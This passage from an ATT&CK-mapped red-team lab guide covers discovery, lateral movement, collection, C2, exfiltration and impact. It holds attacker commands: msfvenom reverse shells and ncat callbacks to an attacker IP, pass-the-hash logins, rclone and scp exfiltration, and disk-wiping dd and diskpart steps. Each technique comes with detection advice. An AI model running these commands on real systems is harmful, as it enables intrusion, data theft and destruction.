nmap -A target-ip
```

Performs service, OS, and script scanning.

3. Save Results

```
nmap -sV target-ip -oN scan_results.txt
```

Procedure 2 – High-Speed Scan with Masscan

1. Install Masscan

```
sudo apt install masscan
```

2. Run Wide Range Scan

```
masscan target-ip/24 -p1-65535 --rate=1000
```

Scans all TCP ports quickly.

3. Review Output

Use results to target specific services in later attacks.

Outcome:

List of active services and ports for exploitation or reconnaissance.

Detection Recommendations:

- Monitor for large-scale port scanning patterns.
- Use firewalls to limit unnecessary open ports.
- Implement intrusion detection systems for scan detection.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Discovery	Network Service Scanning	T1046	nmap, masscan	Identify available network services

---

Technique 2: System Information Discovery

Technique ID: T1082

Goal:
Collect details about the system's hardware, OS, and configuration.

Objective:
Understand the target system to choose compatible exploits and payloads.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Target:** Windows & Linux systems

Procedure 1 – Gathering Info on Windows

1. Run Systeminfo Command

```
systeminfo
```

Lists OS version, build, and hardware info.

2. Check Environment Variables

```
set
```

Reveals usernames, paths, and settings.

3. Export Results

```
systeminfo > sysinfo.txt
```

Procedure 2 – Gathering Info on Linux

1. Check OS and Kernel Version

```
uname -a
cat /etc/os-release
```

2. List Hardware Information

```
lshw | less
```

3. Record Findings

Save results for vulnerability mapping.

Outcome:

Comprehensive understanding of the system's OS, version, and hardware.

Detection Recommendations:

- Monitor for execution of system info commands by untrusted users.
- Limit access to detailed hardware/software info.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Discovery	System Information Discovery	T1082	systeminfo, uname	Gather OS and hardware details

---

Technique 3: File and Directory Discovery

Technique ID: T1083

Goal:

Locate files and directories of interest on the target system.

Objective:
Identify locations containing sensitive information for theft or manipulation.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Target:** Windows & Linux systems

Procedure 1 – Searching in Windows

1. Search for Specific File Types

```
dir C:\ /s /b *.docx
```

Lists all Word documents.

2. Look for Keywords in Filenames

```
dir C:\ /s /b *password*
```

3. Save Results

```
dir C:\ /s /b *.xls > found_files.txt
```

Procedure 2 – Searching in Linux

1. Find Specific File Types

```
find / -type f -name "*.conf" 2>/dev/null
```

2. Search for Keyword Matches

```
grep -Ri "password" /etc/ 2>/dev/null
```

3. Export Results
Save to a local file for later review.

Outcome:
Attacker locates files containing valuable data for exfiltration or exploitation.

Detection Recommendations:

- Monitor for mass file searches by unusual users.
- Restrict directory traversal to authorized accounts.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Discovery	File and Directory Discovery	T1083	dir, find	Locate files of interest on the system

---

Tactic 10: Lateral Movement

Technique 1: Remote Services (SMB/Windows Admin Shares)

Technique ID: T1021.002

Goal:
Move to another system in the network using remote service protocols.

Objective:
Leverage valid credentials to access and control other machines.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Target Machines:** Windows systems in same network
- **Tools:** `psexec.py` (Impacket), `smbclient`

Procedure 1 – Using Impacket's psexec.py

1. Prepare Credentials
Have valid domain or local admin credentials.

2. Run PsExec Attack

```
psexec.py domain/user:password@target-ip
```

3. Confirm Remote Shell

You should now have a SYSTEM-level shell on the target machine.

Procedure 2 – Using SMBClient for File Transfer

1. Connect to Remote Share

```
smbclient \\\\target-ip\\C$ -U user
```

2. Upload Malicious Payload

```
put payload.exe
```

3. Trigger Execution Remotely

Use PsExec or scheduled tasks to run the uploaded file.

Outcome:

Attacker moves from one compromised system to another within the network.

Detection Recommendations:

- Monitor for unexpected SMB traffic.
- Limit admin share access to specific hosts.
- Enable logging of remote service connections.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Lateral Movement	Remote Services (SMB)	T1021.002	psexec.py, smbclient	Move laterally using remote shares

---

Technique 2: Remote Desktop Protocol (RDP)

Technique ID: T1021.001

Goal:
Access another system in the network through Remote Desktop.

Objective:
Use stolen credentials to log in interactively on a different machine.

Lab Setup:

- **Attacker Machine:** Kali Linux (with `xfreerdp`)
- **Target Machine:** Windows with RDP enabled

Procedure 1 – Logging in with Valid Credentials

1. Run RDP Client

```
xfreerdp /u:user /p:password /v:target-ip
```

2. Control Remote System
Once logged in, operate as the user with their privileges.

3. Transfer Files as Needed
Use clipboard or mapped drives to move payloads.

Procedure 2 – Pass-the-Hash for RDP Login

1. Obtain NTLM Hash
From credential dumping techniques (T1003).

2. Use RDP with Hash

```
xfreerdp /u:user /pth:<hash> /v:target-ip
```

3. Operate with Elevated Access
Hash authentication bypasses password entry.

Outcome:
Attacker gains interactive control of a remote machine in the network.

Detection Recommendations:

- Disable RDP when not needed.
- Require MFA for RDP access.
- Monitor for unusual RDP logins.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Lateral Movement	RDP Access	T1021.001	xfreerdp	Move laterally via Remote Desktop

---

Technique 3: Windows Remote Management (WinRM)

Technique ID: T1021.006

Goal:
Use WinRM protocol to execute commands on remote systems.

Objective:
Control and manage remote Windows machines using stolen credentials.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Target Machines:** Windows with WinRM enabled
- **Tools:** `evil-winrm`

Procedure 1 – Connecting with Evil-WinRM

1. Install Evil-WinRM

```
sudo gem install evil-winrm
```

2. Run Evil-WinRM

```
evil-winrm -i target-ip -u user -p password
```

3. Execute Commands

Gain remote shell to run commands and scripts.

Procedure 2 – Using Kerberos Authentication

1. Obtain Kerberos Ticket
From Kerberos credential access methods.

2. Run Evil-WinRM with Kerberos

```
evil-winrm -i target-ip -r domain.local -u user -k
```

3. Operate Remotely
Full shell access to execute commands and transfer files.

Outcome:
Attacker can manage and control remote systems without direct physical access.

Detection Recommendations:

- Disable WinRM if not needed.
- Limit allowed hosts and accounts for WinRM.
- Monitor for unusual remote management activity.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Lateral Movement	WinRM Access	T1021.006	evil-winrm	Move laterally using WinRM protocol

---

Tactic 11: Collection

Technique 1: Screen Capture

Technique ID: T1113

Goal:
Capture images of the victim's desktop to gather sensitive information displayed on the screen.

Objective:
Steal credentials, confidential data, or other on-screen details without directly accessing files.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Target Machine:** Windows 10 / Linux Desktop
- **Tools:** `nircmd`, `scrot`

Procedure 1 – Capturing Screenshots on Windows

1. Upload NirCmd Tool
Place `nircmd.exe` on the target machine.

2. Execute Screenshot Command

```
nircmd.exe savescreenshot C:\Users\Public\sshot.png
```

3. Exfiltrate Image
Transfer the file back to attacker machine for analysis.

Procedure 2 – Capturing Screenshots on Linux

1. Install scrot

```
sudo apt install scrot
```

2. Run Capture Command

```
scrot /tmp/screen.png
```

3. Transfer to Attacker

Use SCP to download:

```
scp user@target-ip:/tmp/screen.png .
```

Outcome:

Attacker gets visual snapshots of target activities.

Detection Recommendations:

- Monitor for unusual screenshot tool execution.
- Restrict installation of unapproved software.
- Use DLP tools to block image exfiltration.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Collection	Screen Capture	T1113	nircmd, scrot	Capture images of the victim's desktop

---

Technique 2: Clipboard Data

Technique ID: T1115

Goal:

Steal text or images stored in the system clipboard.

Objective:

Obtain copied passwords, personal data, or sensitive documents.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Target Machine:** Windows / Linux
- **Tools:** PowerShell, `xclip`

Procedure 1 – Reading Clipboard Data in Windows

1. Run PowerShell Command

```
Get-Clipboard
```

2. Automate Collection

Create a script to log clipboard contents every few seconds.

3. Save to File

Export data for review:

```
Get-Clipboard > C:\Users\Public\clip.txt
```

Procedure 2 – Reading Clipboard Data in Linux

1. Install xclip

```
sudo apt install xclip
```

2. Retrieve Clipboard Content

```
xclip -selection clipboard -o
```

3. Redirect Output to File

```
xclip -selection clipboard -o > /tmp/clip.txt
```

Outcome:

Attacker extracts any sensitive information copied to the clipboard.

Detection Recommendations:

- Monitor for clipboard access by untrusted processes.
- Clear clipboard automatically after use.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Collection	Clipboard Data	T1115	PowerShell, xclip	Capture contents of system clipboard

---

Technique 3: Audio Capture

Technique ID: T1123

Goal:
Record audio from the target's microphone.

Objective:
Gather sensitive conversations or meetings.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Target Machine:** Windows / Linux
- **Tools:** `soundrecorder`, `arecord`

Procedure 1 – Audio Capture on Windows

1. Use Built-in SoundRecorder

```
soundrecorder /file C:\Users\Public\meeting.wav /duration 00:01:00
```

Records for 1 minute.

2. **Transfer File**

Copy the `.wav` file to attacker system for analysis.

3. **Review Recording**

Open with audio editor for content extraction.

Procedure 2 – Audio Capture on Linux

1. Install arecord

```
sudo apt install alsa-utils
```

2. Start Recording

```
arecord -d 60 -f cd /tmp/audio.wav
```

3. Exfiltrate File

Use SCP to download the recording.

Outcome:
Attacker gains audio intelligence from target's environment.

Detection Recommendations:

- Disable or restrict microphone access when not needed.
- Monitor for processes accessing audio devices.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Collection	Audio Capture	T1123	soundrecorder, arecord	Record audio from target device

---

Tactic 12: Command and Control (C2)

Technique 1: Application Layer Protocol – Web Protocols

Technique ID: T1071.001

Goal:
Use HTTP or HTTPS traffic to communicate with the attacker's C2 server.

Objective:
Blend malicious communication into normal web traffic to evade detection.

Lab Setup:

- **Attacker Machine:** Kali Linux (running C2 server, e.g., Metasploit)
- **Target Machine:** Windows/Linux victim
- **Tools:** Metasploit Framework, `msfvenom`

Procedure 1 – Creating HTTP Reverse Shell

1. Generate Payload

```
msfvenom -p windows/meterpreter/reverse_http
LHOST=<attacker-ip> LPORT=8080 -f exe > http_payload.exe
```

2. Set Up Metasploit Listener

```
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set LHOST <attacker-ip>
set LPORT 8080
run
```

3. Deliver and Execute Payload

Once executed, victim connects back over HTTP to attacker's C2.

Procedure 2 – Using HTTPS for Encrypted C2

1. Generate HTTPS Payload

```
msfvenom -p windows/meterpreter/reverse_https
LHOST=<attacker-ip> LPORT=443 -f exe > https_payload.exe
```

2. Configure Listener with SSL

Use valid or self-signed certificate in Metasploit.

3. **Execute Payload**

C2 traffic is now encrypted, making detection harder.

Outcome:

Attacker controls the victim via standard web traffic, bypassing many firewalls.

Detection Recommendations:

- Inspect outbound HTTPS traffic for anomalies.
- Use SSL/TLS inspection tools where possible.
- Limit outbound traffic to approved domains.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
C2	Web Protocols (HTTP/HTTPS)	T1071.001	Metasploit	Communicate via standard web protocols

---

Technique 2: Domain Fronting

Technique ID: T1090.004

Goal:
Hide the true destination of C2 traffic by using a legitimate domain in TLS negotiation.

Objective:
Bypass network monitoring by making C2 traffic look like it's going to a trusted service.

Lab Setup:

- **Attacker Machine:** C2 server on CDN
- **Target Machine:** Windows/Linux victim
- **Tools:** `cobalt strike`, CDN services (e.g., CloudFront)

Procedure 1 – Setting Up Fronted Domain

1. **Register Legitimate Domain**
   Configure DNS to point to CDN provider.
2. **Configure CDN Service**
   Make CDN forward requests to attacker's hidden C2 server.
3. **Generate Payload Using Front Domain**
   Payload appears to connect to `cdn-trusted.com` but is routed to attacker C2.

Procedure 2 – Executing Fronted C2 Traffic

1. **Deploy Payload on Target**
   Victim initiates HTTPS connection to front domain.
2. **CDN Routes to Attacker**
   TLS SNI shows trusted domain; actual data goes to attacker.
3. **Maintain Stealthy Communication**
   C2 remains active under the guise of legitimate traffic.

Outcome:
Attacker's C2 traffic looks like traffic to a trusted CDN-hosted domain.

Detection Recommendations:

- Block unused CDN domains in corporate environments.
- Inspect SNI and certificate mismatches.
- Use strict domain whitelisting.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
C2	Domain Fronting	T1090.004	Cobalt Strike	Hide C2 behind legitimate domains

---

Technique 3: Encrypted Channel

Technique ID: T1573

Goal:
Encrypt C2 communications to hide commands and stolen data from inspection.

Objective:
Prevent security tools from seeing malicious content in transit.

Lab Setup:

- **Attacker Machine:** Kali Linux

- **Target Machine:** Windows/Linux victim
- **Tools:** `openssl`, Metasploit, Any encrypted tunnel tool

Procedure 1 – Creating OpenSSL Encrypted Listener

1. Generate SSL Certificates

```
openssl req -new -x509 -keyout server.key -out server.crt
-days 365 -nodes
```

2. Run Encrypted Netcat Listener

```
ncat --ssl --ssl-cert server.crt --ssl-key server.key -lvp
4444
```

3. Connect from Victim

```
ncat --ssl <attacker-ip> 4444
```

Procedure 2 – Using Metasploit HTTPS Encrypted Payload

1. Generate HTTPS Payload

```
msfvenom -p windows/meterpreter/reverse_https
LHOST=<attacker-ip> LPORT=443 -f exe > enc_payload.exe
```

2. Set Up Encrypted Handler

Metasploit uses SSL to encrypt the traffic.

3. Deploy and Maintain Session

All communications are encrypted end-to-end.

Outcome:

C2 communications cannot be read without the encryption keys.

Detection Recommendations:

- Use SSL/TLS interception for outbound traffic.
- Monitor for unusual encrypted sessions to unknown IPs.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
C2	Encrypted Channel	T1573	OpenSSL, Metasploit	Hide C2 commands in encrypted traffic

---

Tactic 13: Exfiltration

Technique 1: Exfiltration Over Web Services

Technique ID: T1567.002

Goal:
Upload stolen data to cloud storage or web services to move it outside the victim network.

Objective:
Use trusted platforms like Dropbox or Google Drive to hide malicious data transfers.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Target Machine:** Windows/Linux
- **Tools:** `rclone`, API tokens for cloud services

Procedure 1 – Upload to Dropbox Using rclone

1. Install rclone

```
sudo apt install rclone
```

2. Configure Dropbox Remote

```
rclone config
```

Follow prompts to add Dropbox API key.

3. Upload File

```
rclone copy /path/to/data dropbox:stolendata
```

Procedure 2 – Upload to Google Drive Using rclone

1. Set Up Google API

Create API credentials in Google Cloud Console.

2. Add Google Remote in rclone

```
rclone config
```

3. Exfiltrate Data

```
rclone copy /path/to/data gdrive:archive
```

Outcome:

Data leaves victim network via trusted cloud platforms.

Detection Recommendations:

- Monitor for unusual uploads to cloud services.
- Block unauthorized cloud storage apps.
- Inspect outbound traffic volume to known service providers.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Exfiltration	Over Web Services	T1567.002	rclone	Upload stolen data to cloud platforms

---

Technique 2: Exfiltration Over Alternative Protocol

Technique ID: T1048

Goal:
Send stolen data over uncommon or less-monitored protocols like FTP or SCP.

Objective:
Avoid detection by using protocols not closely watched in the target environment.

Lab Setup:

- **Attacker Machine:** Kali Linux with FTP/SCP server
- **Target Machine:** Windows/Linux victim
- **Tools:** `ftp`, `scp`

Procedure 1 – Using FTP to Exfiltrate

1. Start FTP Server on Attacker

```
sudo python3 -m pyftpdlib -p 21
```

2. Upload Data from Victim

```
ftp attacker-ip
put sensitive.zip
```

3. Verify File Transfer
Check FTP server directory for uploaded file.

Procedure 2 – Using SCP for Encrypted Transfer

1. From Victim to Attacker

```
scp /path/to/data attacker@attacker-ip:/home/attacker/
```

2. Authenticate with Key or Password
Enter credentials to complete transfer.

3. Confirm Data on Attacker
Verify file integrity.

Outcome:
Data moved outside the network using protocols not normally monitored.

Detection Recommendations:

- Monitor for unexpected FTP/SCP traffic.
- Disable unused network protocols.
- Enforce encryption and logging for data transfers.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Exfiltration	Over Alternative Protocol	T1048	ftp, scp	Transfer data via less-monitored methods

---

Technique 3: Exfiltration Over C2 Channel

Technique ID: T1041

Goal:
Send stolen data directly over an established Command & Control connection.

Objective:
Hide exfiltration inside normal attacker–victim communications.

Lab Setup:

- **Attacker Machine:** Kali Linux with Metasploit C2
- **Target Machine:** Windows/Linux victim
- **Tools:** Metasploit, Meterpreter

Procedure 1 – File Upload with Meterpreter

1. Establish Meterpreter Session
Via previous exploitation.

2. Upload Stolen Data

```
upload /path/to/secret.docx
```

3. Verify on Attacker Side

File is received inside C2 working directory.

Procedure 2 – Streaming Data Over C2

1. Read File Contents

```
cat /etc/passwd
```

2. Send via C2 Session

Output is directly transmitted over established connection.

3. Save Output

Store received data in local file on attacker system.

Outcome:

Data leaves the network without triggering separate outbound connections.

Detection Recommendations:

- Inspect C2 traffic for signs of data transfer.
- Apply DLP tools at network boundaries.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Exfiltration	Over C2 Channel	T1041	Metasploit	Steal data via existing C2 connection

format.

Tactic 14: Impact

Technique 1: Data Destruction

Technique ID: T1485

Goal:
Permanently delete or overwrite data to cause operational disruption.

Objective:
Prevent recovery of critical files and hinder business operations.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Target Machine:** Windows/Linux victim
- **Tools:** `cipher`, `shred`

Procedure 1 – Secure File Deletion on Windows

1. Identify Target File or Directory
Example: `C:\Finance\records.xlsx`

2. Run Cipher for Overwrite

```
cipher /w:C:\
```

Wipes deleted data on the C: drive.

3. Verify Deletion
Attempt recovery using recovery tools; data should be gone.

Procedure 2 – Secure File Deletion on Linux

1. Identify Sensitive File
Example: `/home/user/secrets.txt`

2. Run Shred Command

```
shred -u -n 5 /home/user/secrets.txt
```

Overwrites file 5 times before deletion.

3. Check with Recovery Tool

Use `testdisk` to verify irrecoverability.

Outcome:

Target data is irreversibly destroyed, impacting operations.

Detection Recommendations:

- Monitor for execution of secure deletion tools.
- Maintain offline backups to restore destroyed data.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Impact	Data Destruction	T1485	cipher, shred	Permanently erase critical data

---

Technique 2: Service Stop

Technique ID: T1489

Goal:

Stop critical services to disrupt business functions or security monitoring.

Objective:

Render systems or applications unusable by halting required processes.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Target Machine:** Windows/Linux victim
- **Tools:** `sc`, `systemctl`

Procedure 1 – Stopping a Service on Windows

1. List All Services

```
sc query
```

2. Stop Target Service

```
sc stop "ServiceName"
```

3. Confirm Status

```
sc query "ServiceName"
```

Procedure 2 – Stopping a Service on Linux

1. List Running Services

```
systemctl list-units --type=service
```

2. Stop Critical Service

```
sudo systemctl stop apache2
```

3. Verify Service is Down

```
systemctl status apache2
```

Outcome:
Disruption of targeted service until it is restarted.

Detection Recommendations:

- Monitor for unexpected service stop commands.
- Limit permissions for stopping critical services.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Impact	Service Stop	T1489	sc, systemctl	Disrupt operations by stopping services

---

Technique 3: Disk Wipe

Technique ID: T1561

Goal:
Erase or corrupt the disk content to make the system unusable.

Objective:
Cause maximum operational downtime and prevent system recovery.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Target Machine:** Windows/Linux victim
- **Tools:** `diskpart`, `dd`

Procedure 1 – Wiping Disk on Windows

1. Open DiskPart Tool

```
Diskpart
```

2. **Select Target Disk**

```
list disk
select disk 0
```

3. Clean Disk

```
clean all
```

Overwrites all sectors with zeros.

Procedure 2 – Wiping Disk on Linux

1. Identify Disk

```
lsblk
```

2. Run DD Command

```
sudo dd if=/dev/zero of=/dev/sda bs=1M status=progress
```

3. Confirm Unusable Disk
Reboot; system will fail to boot.

Outcome:
System becomes inoperable without full OS reinstallation.

Detection Recommendations:

- Restrict access to disk utilities.
- Maintain offline and offsite backups.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Impact	Disk Wipe	T1561	diskpart, dd	Erase all data and render system unusable